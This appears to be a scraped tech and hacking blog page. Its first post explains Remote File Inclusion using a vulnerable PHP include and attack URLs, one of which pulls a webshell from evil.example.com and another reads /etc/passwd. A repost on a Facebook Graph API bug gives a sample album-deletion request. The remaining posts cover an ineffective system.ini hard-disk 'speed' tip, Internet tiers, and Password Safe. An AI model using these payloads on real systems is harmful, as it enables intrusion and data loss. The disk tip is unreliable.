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what is RIF ? - Remote File Inclusion

Admin Jixxi 0 EXPLANATION, EXPLANATION ABOUT, vulnerablity

<div dir="ltr" style="text-align: left;" trbidi="on">
<span style="font-size: large;"><b>File inclusion vulnerability</b> is a type of vulnerability most often found on websites. </span><br />
<br />
<span style="font-size: large;">It allows an attacker to include a file, usually through a script on the web server. </span><br />
<br />
<span style="font-size: large;">The vulnerability occurs due to the use of user-supplied input without 
proper validation. </span><br />
<br />
<span style="font-size: large;">This can lead to something as minimal as outputting 
the contents of the file or more serious events such as:</span><br />
<br />
<ul>
<li><span style="font-size: large;"><span style="color: red;"><b>Code execution on the web server</b></span></span></li>
<li><span style="font-size: large;"><span style="color: red;"><b>Code execution on the client-side such as JavaScript which can lead to other attacks such as cross site scripting (XSS)</b></span></span></li>
<li><span style="font-size: large;"><span style="color: red;"><b>Denial of service (DoS)</b></span></span></li>
<li><span style="font-size: large;"><span style="color: red;"><b>Data theft/manipulation</b></span></span></li>
</ul>
<span style="font-size: large;"> In <a href="http://en.wikipedia.org/wiki/PHP" title="PHP">PHP</a> the main cause is due to the use of unvalidated external variables such as <b>$_GET, $_POST, $_COOKIE</b> with a filesystem function. Most notable are the <code>include</code> and <code>require</code> statements</span><br />
<br />
<h4>
<span class="mw-headline" id="Example">Example</span></h4>
<div class="mw-geshi mw-code mw-content-ltr" dir="ltr">
<div class="php source-php">
<pre class="de1"><span class="kw2"><?php</span>
   <span class="kw1">if</span> <span class="br0">(</span> <span class="kw3">isset</span><span class="br0">(</span> <span class="re0">$_GET</span><span class="br0">[</span><span class="st_h">'COLOR'</span><span class="br0">]</span> <span class="br0">)</span> <span class="br0">)</span> <span class="br0">{</span>
      <span class="kw1">include</span><span class="br0">(</span> <span class="re0">$_GET</span><span class="br0">[</span><span class="st_h">'COLOR'</span><span class="br0">]</span> <span class="sy0">.</span> <span class="st_h">'.php'</span> <span class="br0">)</span><span class="sy0">;</span>
   <span class="br0">}</span>
<span class="sy1">?></span>
</pre>
</div>
</div>
<div class="mw-geshi mw-code mw-content-ltr" dir="ltr">
<div class="html5 source-html5">
<pre class="de1"><span class="sc2"><<span class="kw2">form</span> <span class="kw3">method</span><span class="sy0">=</span><span class="st0">"get"</span>></span>
   <span class="sc2"><<span class="kw2">select</span> <span class="kw3">name</span><span class="sy0">=</span><span class="st0">"COLOR"</span>></span>
      <span class="sc2"><<span class="kw2">option</span> <span class="kw3">value</span><span class="sy0">=</span><span class="st0">"red"</span>></span>red<span class="sc2"><<span class="sy0">/</span><span class="kw2">option</span>></span>
      <span class="sc2"><<span class="kw2">option</span> <span class="kw3">value</span><span class="sy0">=</span><span class="st0">"blue"</span>></span>blue<span class="sc2"><<span class="sy0">/</span><span class="kw2">option</span>></span>
   <span class="sc2"><<span class="sy0">/</span><span class="kw2">select</span>></span>
   <span class="sc2"><<span class="kw2">input</span> <span class="kw3">type</span><span class="sy0">=</span><span class="st0">"submit"</span>></span>
<span class="sc2"><<span class="sy0">/</span><span class="kw2">form</span>></span>
</pre>
</div>
</div>
<h4>
<span class="mw-headline" id="Example"> Then hacker will include its infected page or file in to webserver </span></h4>
<ul>
<li><span style="color: red;"><code>/vulnerable.php?COLOR=<b>http://evil.example.com/webshell.txt?</b></code></span><b> - injects a remotely hosted file containing a malicious code. </b></li>
<li><span style="color: red;"><code>/vulnerable.php?COLOR=<b>C:\\ftp\\upload\\exploit</b></code></span> <b>- Executes code from an already uploaded file called exploit.php (local file inclusion vulnerability)</b></li>
<li><span style="color: red;"><code>/vulnerable.php?COLOR=<b>C:\\notes.txt</b></code></span> <b>- example using NULL meta character to remove the <code>.php</code>
 suffix, allowing access to files other than .php. (Enabling 
magic_quotes_gpc limits the attack by escaping special characters, thus 
disabling the use of the NUL terminator)</b></li>
<li><span style="color: red;"><code>/vulnerable.php?COLOR=<b>/etc/passwd</b></code></span> <b>- allows an attacker to read the contents of the passwd file on a UNIX system directory traversal. </b></li>
</ul>
<h4>
<span class="mw-headline" id="Example"><span style="font-weight: normal;"> </span></span></h4>
<h4>
<span class="mw-headline" id="Example"><span style="font-weight: normal;">the given method which we are using to include have some validation to prevent this kind of attack  </span></span></h4>
<div style="text-align: right;">
<span style="font-size: large;"> source:-<a href="http://en.wikipedia.org/wiki/File_inclusion_vulnerability" target="_blank">wiki</a> , <a href="https://www.owasp.org/index.php/Testing_for_Remote_File_Inclusion" target="_blank">owasp</a></span></div>
</div>

what is RIF ? - Remote File Inclusion

Admin Jixxi 0 EXPLANATION, EXPLANATION ABOUT, vulnerablity

File inclusion vulnerability is a type of vulnerability most often found on websites. It allows an attacker to include a file, usually through a script on the web server. The vulnerability occurs d…

Facebook Vulnerability Allows Hacker to Delete Any Photo Album

Admin Jixxi 0 facebook, facebook hacking, hacking news, How to hack Facebook (All Methods)

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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-r-9J2cRWZKJxaDlIQM8rE5R9KJyrvR8XL9JtxYoJkpjezW7HvR7TvgAiriNQwIqaLfTcpavBp1_sgPL8C2h6OnTA1fFtJvFDVk8osOn5-uiTR3bqrczzvcGgiR6_-TXQw2EU5hJjPiHC/s1600/facebook-friends-ftr.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-r-9J2cRWZKJxaDlIQM8rE5R9KJyrvR8XL9JtxYoJkpjezW7HvR7TvgAiriNQwIqaLfTcpavBp1_sgPL8C2h6OnTA1fFtJvFDVk8osOn5-uiTR3bqrczzvcGgiR6_-TXQw2EU5hJjPiHC/s1600/facebook-friends-ftr.jpg" width="640" /></a></div>
<br />
<br />
<br />
A Serious vulnerability in Facebook has recently been reported that could allow anyone to delete your complete Facebook photo album without having authentication.<br />
<br />
Security Researcher Laxman Muthiyah told<br />
<br />
The Hacker News that the vulnerability actually resides in Facebook Graph API mechanism, which allows "a hacker to delete any photo album on Facebook. Any photo album owned by an user or a page or a group could be deleted."

DELETING FACEBOOK PHOTO ALBUMS<br />
<br />
 According to Facebook developers documentation, its not possible to delete albums using the Graph API, but Indian security researcher has found a way to delete not just his own, but also others Facebook photo albums within few seconds.<br />
<br />
 "I decided to try it with Facebook for mobile access token because we can see delete option for all photo albums in Facebook mobile application isn't it?<br />
<br />
Yeah and also it uses the same Graph API," he said.

In general, Facebook Graph API requires an access token to read or write users data, which gives limited access to an app only.<br />
<br />
However, Laxman discovered that his own "access token" generated for mobile version of Facebook could be exploited to remove any photo albums posted by any Facebook User.<br />
<br />
<b>SAMPLE REQUEST </b><br />
</div>
<div style="text-align: left;">
<span style="color: red;">       Request :-</span></div>
<div style="text-align: left;">
<span style="color: red;"><br /></span>
<span style="color: red;">       DELETE /<Victim's_photo_album_id> HTTP/1.1</span></div>
<div style="text-align: left;">
<span style="color: red;"><br /></span>
<span style="color: red;">       Host : graph.facebook.com </span></div>
<div style="text-align: left;">
<br />
<span style="color: red;">       Content-Length: 245</span><br />
</div>
<div style="text-align: left;">
<span style="color: red;">       access_token=<Your(Attacker)_Facebook_for_Android_Access_Token> </span></div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
<br /></div>
Facebook Bug Bounty program rewarded him with $12,500 USD for helping the Facebook Security team to patch this critical loophole.<br />
<br />
source (www.thehackernews.com)</div>

Facebook Vulnerability Allows Hacker to Delete Any Photo Album

Admin Jixxi 0 facebook, facebook hacking, hacking news, How to hack Facebook (All Methods)

A Serious vulnerability in Facebook has recently been reported that could allow anyone to delete your complete Facebook photo album without having authentication. Security Researcher Laxman Muthiyah …

INCREASE SPEED OF HARD DISK

Admin Jixxi 0 Tutorial, windows

<div dir="ltr" style="text-align: left;" trbidi="on">
<span style="font-size: large;">I am surfing internet and finding cool stuff then i found that a post which says increase speed of hard disk  well it is obvious that hard disk is a physical things with fix RPM but windows are able to control the buffer size </span><br />
<br />
<span style="font-size: large;">so i would like to share this tut with all of you  </span><br />
<span style="font-size: large;">Note:- <span style="font-size: small;"><span style="color: red;"><b>if u are using laptop then dont try this due to over heating your HDD u  may loss your HDD </b></span></span></span><br />
<span style="font-size: large;"><br /></span>
<br /><span style="font-size: 13.0pt; mso-bidi-font-size: 12.0pt;"><span style="font-family: 'Trebuchet MS', sans-serif;">It is common observation that some times our
computer slows down due to low performance of hard drive. </span></span><br />
<br />
<span style="font-size: 13.0pt; mso-bidi-font-size: 12.0pt;"><span style="font-family: 'Trebuchet MS', sans-serif;">This problem happens
due to the slow performance or poor speed of hard drive. When we say about poor
performance, actually we mean, poor speed of reading/writing of hard drive. </span></span><br />
<br />
<span style="font-size: 13.0pt; mso-bidi-font-size: 12.0pt;"><span style="font-family: 'Trebuchet MS', sans-serif;">This problem can be solved by increasing the hard drive speed. Follow these
steps to solve your problem.</span></span><br />
<span style="font-size: large;"><br /></span>
<span style="font-size: large;"><br /></span>
<span style="font-size: large;">click on windows and type system.ini</span><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6v21rJIcVEmY3ZqKdFsCVJRETeEeW39ZJYI-8Hk2qv8i3WLnqybSKWQFrGeqcHz3BpP3u1113w6hF2mcdGnapLjQXff9FJ6c6OH9NBZsSfG03pw81wZtuqaLNp-prECaFcnGw0u63Ntnr/s1600/Capture.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6v21rJIcVEmY3ZqKdFsCVJRETeEeW39ZJYI-8Hk2qv8i3WLnqybSKWQFrGeqcHz3BpP3u1113w6hF2mcdGnapLjQXff9FJ6c6OH9NBZsSfG03pw81wZtuqaLNp-prECaFcnGw0u63Ntnr/s1600/Capture.PNG" /></a></div>
<br />
<div class="MsoNormal">
<span style="font-size: 13.0pt; mso-bidi-font-size: 12.0pt;"><span style="font-family: 'Trebuchet MS', sans-serif;">This window contains a line (386enh)</span></span></div>
<div class="MsoNormal">
<span style="font-size: 13.0pt; mso-bidi-font-size: 12.0pt;"><span style="font-family: 'Trebuchet MS', sans-serif;">Now after this line type (irq14=4096)</span></span></div>
<div class="MsoNormal">
<span style="font-size: 13.0pt; mso-bidi-font-size: 12.0pt;"><span style="font-family: 'Trebuchet MS', sans-serif;">Now close this window and save it.</span></span></div>
<div class="MsoNormal">
<span style="font-size: 13.0pt; mso-bidi-font-size: 12.0pt;"><span style="font-family: 'Trebuchet MS', sans-serif;">Reboot your computer now. </span></span></div>
<div class="MsoNormal">
<span style="font-size: 13.0pt; mso-bidi-font-size: 12.0pt;"><span style="font-family: 'Trebuchet MS', sans-serif;">You will surely feel better performance of your
computer.</span></span></div>
<span style="font-size: 13.0pt; mso-bidi-font-size: 12.0pt;"><span style="font-family: 'Trebuchet MS', sans-serif;">Enjoy.</span></span><span style="font-size: large;"> </span><br />
<span style="font-size: large;"><br /></span></div>

INCREASE SPEED OF HARD DISK

Admin Jixxi 0 Tutorial, windows

I am surfing internet and finding cool stuff then i found that a post which says increase speed of hard disk well it is obvious that hard disk is a physical things with fix RPM but windows are able …

Who provides the Internet service to Internet Service Providers (ISPs)?

Admin Jixxi 0 Questions

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<div style="text-align: justify;">
<span style="font-size: large;">yes this is what i am searching too over internet for a long and finally found what happen over internet ;)  </span></div>
<div style="text-align: justify;">
<span style="font-size: large;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: large;">so just wana share with u all </span></div>
<div style="text-align: justify;">
<span style="font-size: large;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: large;">Best answer i found is here </span></div>
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<h2>
How do I figure out the Internet's infrastructure?</h2>
Let's suppose we don't know about the <a href="http://www.youtube.com/watch?v=9hIQjrMHTv4">history of the Internet</a>, nor do we have access to any online resources that explain us this.<br />
<br />
Then, the only way to <i>learn</i>
 how the Internet infastructure is built is to go back to the roots. 
Using existing protocols to discover how our Internet is built.<br />
<br />
Specifically, the <a href="http://tools.ietf.org/html/rfc792">Internet Control Message Protocol</a>
 or ICMP defines the Echo request and the Echo reply. By increasing the 
Time To Live of IP packets by 1 each iteration, you can find each next<br />
 hop on the path to your target. This allows you to get a list of hops 
between you and your target, the classic <i>traceroute</i>.<br />
<br />
On Windows, you can use <code>tracert</code>; on Linux and Mac OS X, you can use <code>traceroute</code>.<br />
<br />
So, let's do a traceroute from Belgium to the United States; Stack Exchange looks like a good target.<br />
<br />
<br />
<pre><code>Tracing route to stackexchange.com [64.34.119.12] over a maximum of 30 hops:

... redacted ...

5    10 ms    12 ms    12 ms  te-3-3.car2.Brussels1.Level3.net [212.3.237.53]
  6    11 ms    11 ms    15 ms  ae-0-11.bar2.Brussels1.Level3.net [4.69.148.178]
  7    20 ms    13 ms    15 ms  ae-7-7.ebr1.London1.Level3.net [4.69.148.182]
  8    16 ms    16 ms    18 ms  vlan101.ebr2.London1.Level3.net [4.69.143.86]
  9    83 ms    84 ms    87 ms  ae-44-44.ebr1.NewYork1.Level3.net [4.69.137.78]
 10    84 ms    93 ms    97 ms  ae-71-71.csw2.NewYork1.Level3.net [4.69.134.70]
 11    87 ms    96 ms    83 ms  ae-2-70.edge1.NewYork1.Level3.net [4.69.155.78]
 12    84 ms    93 ms    84 ms  gig2-0.nyc-gsr-b.peer1.net [216.187.123.5]
 13    87 ms    84 ms    85 ms  gwny01.stackoverflow.com [64.34.41.58]
 14    87 ms    82 ms    87 ms  stackoverflow.com [64.34.119.12]</code></pre>
<pre><code> </code></pre>
Interesting, we now know that Belgium, London and New York are all connected to <a href="http://www.level3.com/">Level3</a>.<br />
Level3 can be seen as an ISP to ISPs, they simply interconnect multiple ISPs.<br />
 Here is a picture of how it's connected:<br />
<br />
<img alt="" height="388" src="http://i.stack.imgur.com/Tjlwl.jpg" width="640" />Let's go the opposite direction, China! The first thing I could find is the search engine Baidu.<br />
<br />
<pre><code>Tracing route to baidu.com [123.125.114.144] over a maximum of 30 hops:

... redacted ...

5    12 ms    10 ms    12 ms  ae0.anr11.ip4.tinet.net [77.67.65.177]
  6   167 ms   167 ms   167 ms  xe-5-1-0.sjc10.ip4.tinet.net [89.149.185.161]
  7   390 ms   388 ms   388 ms  as4837.ip4.tinet.net [77.67.79.150]
  8   397 ms   393 ms   397 ms  219.158.30.41
  9   892 ms     *      392 ms  219.158.97.13
 10   407 ms   403 ms   403 ms  219.158.11.197
 11   452 ms   451 ms   452 ms  219.158.15.5
 12     *      434 ms   434 ms  123.126.0.66
 13   449 ms   450 ms   450 ms  61.148.3.34
 14   432 ms   433 ms   431 ms  202.106.43.66
 15   435 ms   435 ms   436 ms  123.125.114.144
</code></pre>
Well, not much information about the Chinese ISPs there but we at least found <a href="http://www.inteliquent.com/">Tinet</a>. Here is a nice picture of their site that shows how they connect with the various ISPs:<br />
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_OoO9jg0WqJZS2u5-e0GU1FVj7NdPzr5qHBUmP_hj4k4DvchyphenhyphensdFnGTYxnwDeGccgXMHhlCsybejlo5QYDBMYTQIM-1QDhM4TGIe1OHpHZWi6hg_odfStRcnXZmIAGOMzO2pw3U8g8OyG/s1600/network.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="238" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_OoO9jg0WqJZS2u5-e0GU1FVj7NdPzr5qHBUmP_hj4k4DvchyphenhyphensdFnGTYxnwDeGccgXMHhlCsybejlo5QYDBMYTQIM-1QDhM4TGIe1OHpHZWi6hg_odfStRcnXZmIAGOMzO2pw3U8g8OyG/s1600/network.gif" width="640" /></a></div>
<br />
They simply have a cloud of hops spread about the relevant part of 
the world they serve, and at the end points they connect to the ISPs. 
The reason they have a cloud of hops is for reliability, for when some 
hops fall out...<br />
  <br />
If you repeat this a few times, you can get an idea of how <a href="http://en.wikipedia.org/wiki/Internet_backbone">everything is connected</a>.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjY8Krbwap6h5Lud10bf7x_WmAf0HoLAvj0szRCR42Hk1Lj9DweFVYuoHuw5p5v5pGG871kIjUzhbVl5j9dGBZ-G7rEaxCQ1R1rqWehvGrlOLtT2unxbUZHMhLuFDY81gOeSruTxF-0Zmj0/s1600/40AmP.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjY8Krbwap6h5Lud10bf7x_WmAf0HoLAvj0szRCR42Hk1Lj9DweFVYuoHuw5p5v5pGG871kIjUzhbVl5j9dGBZ-G7rEaxCQ1R1rqWehvGrlOLtT2unxbUZHMhLuFDY81gOeSruTxF-0Zmj0/s1600/40AmP.jpg" width="640" /></a></div>
<br />
<h2>
So, what Network Tiers are there?</h2>
The huge networks we found through trace-routing are known as Tier 1 networks.<br />
<blockquote>
Although there is no authority that defines tiers of networks 
participating in the Internet, the most common definition of a tier 1 
network is one that can reach every other network on the Internet 
without purchasing IP transit or paying settlements.<br />
By this definition, a tier 1 network is a transit-free network that
 peers with every other tier-1 network. But not all transit-free 
networks are tier 1 networks. It is possible to become transit-free by 
paying for peering or agreeing to settlements.<br />
Common definitions of tier 2 and tier 3 networks:<br />
<ul>
<li><b>Tier 2:</b> A network that peers with some 
networks, but still purchases IP transit or pays settlements to reach at
 least some portion of the Internet.</li>
<li><b>Tier 3:</b> A network that solely purchases transit from other networks to reach the Internet.</li>
</ul>
</blockquote>
If you click through to <a href="http://en.wikipedia.org/wiki/Tier_1_network">Tier 1 networks</a> from the Internet Backbone page you get to a list of the current Tier 1 networks:<br />
<blockquote>
<ul>
<li>AT&T from USA</li>
<li>Centurylink (formerly Qwest and Savvis) from USA</li>
<li>Deutsche Telekom AG from Germany</li>
<li>Inteliquent (formerly Tinet) from USA</li>
<li>Verizon Business (formerly UUNET) from USA</li>
<li>Sprint from USA</li>
<li>TeliaSonera International Carrier from Sweden</li>
<li>NTT Communications from Japan </li>
<li>Level 3 Communications from USA</li>
<li>Tata Communications from India</li>
</ul>
</blockquote>
It is not known if <code>AOL Transit Data Network (ATDN)</code> is still a Tier 1 network.<br />
<h2>
<i>Wait, what...</i> What is Peering?</h2>
These networks connect to each other through a process known as 
'peering'. Most traffic needs to go over at least 2 different top tier 
networks in order to reach its destination, and the networks are bridged
 with peering arrangements.<br />
<br />
The way this usually works is that each 
party to the agreement will commit to routing x amount of traffic for 
the other party on their network, and vice-verse. There is usually no 
money exchanged in these arrangements, unless one side is sending or 
receiving a lot more data than the other sides.<br />
<br />
Large companies can also go out and arrange their own peering 
relationships. For example Netflix has arranged its own peering and 
network infrastructure directly with multiple tier-1 networks so that 
its traffic is both cheaper and closer to end users on each of the 
popular US broadband ISP's.<br />
See this <a href="http://en.wikipedia.org/wiki/Peering">Wikipedia page on Peering</a>.<br />
<br />
There's a lot more to read at those pages; this answer gives a 
general idea, discovering all the details are left as an exercise to the
 reader. You can ask questions about this subject in the comments 
below...<br />
<br />
<br />
i found this mind blowing answer from [www.superuser.com]  and user was <a href="http://superuser.com/users/9666/tom-wijsman">Tom Wijsman</a> thankx man :) really enjoy reading this  </div>
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Who provides the Internet service to Internet Service Providers (ISPs)?

Admin Jixxi 0 Questions

yes this is what i am searching too over internet for a long and finally found what happen over internet ;) so just wana share with u all Best answer i found is here How do I figure …

If 32-bit machines can only handle numbers up to 2^32, why can I write 1000000000000 (trillion) without my machine crashing?

Admin Jixxi 0 Questions

<div dir="ltr" style="text-align: left;" trbidi="on">
<span style="font-size: large;">When i am looking for a weird answer over the internet i found this awesome question which says</span><br />
<span style="font-size: large;"><br /></span>
<span style="font-size: large;">'<span style="font-weight: normal;">If 32-bit machines can only handle numbers up to 2^32, why can I write 1000000000000 (trillion) without my machine crashing?'</span></span><br />
<span style="font-size: large;"><br /></span>
<span style="font-size: large; font-weight: normal;">which is really nice question for a it person as well as non it  but its just a simple question </span><br />
<span style="font-size: large; font-weight: normal;">lest see how it solved  </span><br />
<span style="font-size: large;"><br /></span>
<span style="font-size: large;"><br /></span>
<span style="font-size: large; font-weight: normal;">(funny+logical) Best Answer  :D</span><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgoz_irxh66PfPdxJtkIu6ypOL-s5e3NmNz2XB9_A9eXZthID9wuPqDze-ISQtjG0L-p86Nw-eOip830hDTRqR30xLg0jSx7uKor7tBFWC9qxyBOEJMhsnMrI1pJDBbQL1kUflc_wiWNXpX/s1600/answer+one+on+memory+.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="218" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgoz_irxh66PfPdxJtkIu6ypOL-s5e3NmNz2XB9_A9eXZthID9wuPqDze-ISQtjG0L-p86Nw-eOip830hDTRqR30xLg0jSx7uKor7tBFWC9qxyBOEJMhsnMrI1pJDBbQL1kUflc_wiWNXpX/s1600/answer+one+on+memory+.PNG" width="640" /></a></div>
<br />
<span style="font-size: small;"><span style="font-weight: normal;"> <span style="font-size: large;">Another one </span></span></span><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1x6aWudQSZihONntvyrYtRyjguJPRRZStgROqAGcxwiZZR1Ou8XaZZT94AFmPIYm2Jt_B5qwdp3kJDvs3HcGbZqR5Zt-LZ7SpADh8ZjrUPcoDcASuIaGgO0WtsF9vDJ5JrOsrhhLDW85i/s1600/memory+question+2.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="308" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1x6aWudQSZihONntvyrYtRyjguJPRRZStgROqAGcxwiZZR1Ou8XaZZT94AFmPIYm2Jt_B5qwdp3kJDvs3HcGbZqR5Zt-LZ7SpADh8ZjrUPcoDcASuIaGgO0WtsF9vDJ5JrOsrhhLDW85i/s1600/memory+question+2.PNG" width="640" /></a></div>
<br />
<span style="font-size: small;"><span style="font-weight: normal;"><span style="font-size: large;">Best  </span></span></span><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmMLoDSebpCy_vgo-eQq0v0_RItbdN5bcwyhrgwaJEF2uKiPleepztpILInoOrjgaoynLDwPdLGKG7FzHeR1GsvjYaXRaFdhdDfCgNN6u2rc_63Xolzbnk_PqhTxzIWDkapK2rcy9iPZfg/s1600/best+answer+.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="368" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmMLoDSebpCy_vgo-eQq0v0_RItbdN5bcwyhrgwaJEF2uKiPleepztpILInoOrjgaoynLDwPdLGKG7FzHeR1GsvjYaXRaFdhdDfCgNN6u2rc_63Xolzbnk_PqhTxzIWDkapK2rcy9iPZfg/s1600/best+answer+.PNG" width="640" /></a></div>
<br />
<br />
<span style="font-size: small;"><span style="font-weight: normal;"><span style="font-size: large;">comment or discuses your answers related to questions   </span></span></span></div>

If 32-bit machines can only handle numbers up to 2^32, why can I write 1000000000000 (trillion) without my machine crashing?

Admin Jixxi 0 Questions

When i am looking for a weird answer over the internet i found this awesome question which says 'If 32-bit machines can only handle numbers up to 2^32, why can I write 1000000000000 (trillion) withou…

Keep Your Passwords Safe with Password Safe

minix 0 hacking software, Password Creaking, Software

<div dir="ltr" style="text-align: left;" trbidi="on">
<span style="font-size: small;"><span class="s1">Password Safe allows you to manage your old passwords 
and to easily and quickly generate, store, organize, retrieve, and use 
complex new passwords, using password policies that you control. Once 
stored, your user names and passwords are just a few clicks away. </span>Using
 Password Safe you can organize your passwords using your own 
customizable references – for example, by user ID, category, web site, 
or location.</span><br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhlD_kPoAtc-ged13hmWQDksR42P4CWg2jbeL3cM29l0cWx_q-gyOBcVyxeveA2zBZswQuNMRYvCPbhZ_PawbWivVL70VQQU6EbMs4aJpwlf1bz2XdENeiyOHB_T6bt1Ff60Jh3uS1vn-k/s1600/secure+password.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhlD_kPoAtc-ged13hmWQDksR42P4CWg2jbeL3cM29l0cWx_q-gyOBcVyxeveA2zBZswQuNMRYvCPbhZ_PawbWivVL70VQQU6EbMs4aJpwlf1bz2XdENeiyOHB_T6bt1Ff60Jh3uS1vn-k/s1600/secure+password.jpg" width="480" /></a></div>
<br />
<br />
<div>
<span style="font-weight: bold;">Password Safe</span>
allows you to manage your old passwords and to easily and quickly generate, store, organize,
retrieve, and use complex new passwords, using password policies that you
control. Once stored, your user names and passwords are just a few
clicks
away.<br />
<br />
Using <span style="font-weight: bold;">Password
Safe</span> you can
organize your passwords using your own customizable
references—for
example, by user ID, category, web site, or location. You can choose to
store
all your passwords in a single encrypted master password list (an
encrypted
password database), or use multiple databases to further organize your
passwords (work and home, for example). And with its intuitive
interface you will be up and running in
  minutes.<br />
<br />
Oh, and the desktop version of <span style="font-weight: bold;">Password Safe </span>is <span style="font-style: italic;">freely</span> available
under an <a href="http://www.opensource.org/" target="_blank">Open
Source</a> approved <a href="http://www.opensource.org/licenses/artistic-license-2.0.php" target="_blank">license</a>. A
  <a href="http://sourceforge.net/projects/passwordsafe/files/Linux-BETA/" target="_blank">Linux Beta version</a> (available in source, or .deb packages for Debian or
  Ubuntu distributions) is also available.
A disk-on-key version is available <a href="http://www.shareit.com/product.html?cart=1&productid=300597408&stylefrom=300597408" target="_blank">here</a>.
For customization and commercial support, please <a href="https://sourceforge.net/sendmessage.php?touser=370700" target="_blank">contact
me</a>.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9KvPDoGBCSIfVnFQoR9zboXx220U4Wl_JupWCaFRd0CQjWhi8vfdxPT4SHlhXiFys2DB52clXSAxwIuWOmRKbHPM3Hfurwv6aSFpe6szpyJH0HvAGyMGEPAzJuuLL1J0fhNofndv8Vkg/s1600/treeview.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9KvPDoGBCSIfVnFQoR9zboXx220U4Wl_JupWCaFRd0CQjWhi8vfdxPT4SHlhXiFys2DB52clXSAxwIuWOmRKbHPM3Hfurwv6aSFpe6szpyJH0HvAGyMGEPAzJuuLL1J0fhNofndv8Vkg/s1600/treeview.png" /></a></div>
<br />
<h3>
What Makes Password Safe Secure?</h3>
So we claim to be secure. Why should you trust us? What steps do we take to back this claim? Well, here are a few:
<br />
<ul>
<li>Open Source - Most important, you don't have to take our word 
for it. You can download the source code and inspect it yourself, or 
have someone else
 check it for you. If you're really concerned, you can build the program
 from the sources you've downloaded and reviewed, instead of the binary 
files
 we build for each release.</li>
</ul>
</div>
<div>
<ul>
<li>For the files we provide, you can check that they're the ones that we've uploaded, and not tampered with, by checking the
 GPG cryptographic signature that's generate for each file.</li>
</ul>
<br />
<ul>
<li>Designed by Bruce Schneier - the original version was designed by renowned security expert Bruce Schneier, and we have his
 permission to say so.</li>
</ul>
<br />
<ul>
<li>No back door / recovery mechanism - there's no way for users (or developers, for that matter) to access the passwords without
 the master key.</li>
</ul>
<br />
<ul>
<li>Hard to brute-force - In the absence of back doors, an attacker can try a brute-force attack, e.g.,  using a dictionary. 
 Password Safe has safeguards in place to make this as hard as possible.</li>
</ul>
<br />
<ul>
<li>The master passphrase is never stored the clear. We store 
something that derived from the master passphrase, but hard to 
calculate.
 When you enter your passphrase, we duplicate the calculation and 
compare the results. Only if the comparison succeeds do we continue
 to derive the encryption key from your master passphrase.</li>
</ul>
<br />
<ul>
<li>Sensitive memory is kept from swapping to disk.</li>
</ul>
<br />
<ul>
<li>All user data is encrypted in memory.</li>
</ul>
<br />
<ul>
<li>Memory with sensitive data is wiped as soon as possible.</li>
</ul>
<br />
<ul>
<li>File integrity checks: Even if the file's encrypted, it's not 
necessarily prtoected against unauthorized modification. Password Safe
 implements integrity checks on the file so that an attacker cannot 
modify it without knowing the master passphrase.</li>
</ul>
<br />
<ul>
<li>Reliability: Backups of previous databases are kept by default. The user can configure how many backups to keep and where
 to keep them.</li>
</ul>
<br />
<ul>
<li>For more details, feel free to contact the authors.</li>
</ul>
<br />
source[www.passwordsafe.sourceforge.net ]<br />
<ul>
</ul>
<br />
<div style="text-align: center;">
<a href="http://sourceforge.net/projects/passwordsafe/files/passwordsafe/3.35/pwsafe-3.35.exe/download" target="_blank"><span style="color: blue;"><span style="font-size: x-large;">Download</span></span></a>  </div>
</div>
</div>

Keep Your Passwords Safe with Password Safe

minix 0 hacking software, Password Creaking, Software

Password Safe allows you to manage your old passwords and to easily and quickly generate, store, organize, retrieve, and use complex new passwords, using password policies that you control. Once s…

WhatsApp Will Have Desktop Version Called WhatsApp Web (Roumer)

minix 0

<div dir="ltr" style="text-align: left;" trbidi="on">
<span style="font-family: Arial, Tahoma, Helvetica, sans-serif; font-size: 14px;"><span class="nsa _tQb f _IId">Get ready to use WhatsApp from your desktop</span></span><br />
<br />
<span style="font-family: Arial, Tahoma, Helvetica, sans-serif; font-size: 14px;"></span><br />
<div id="stcpDiv" style="left: -1988px; position: absolute; top: -1999px;">
Get Ready to Use WhatsApp From Desktop</div>
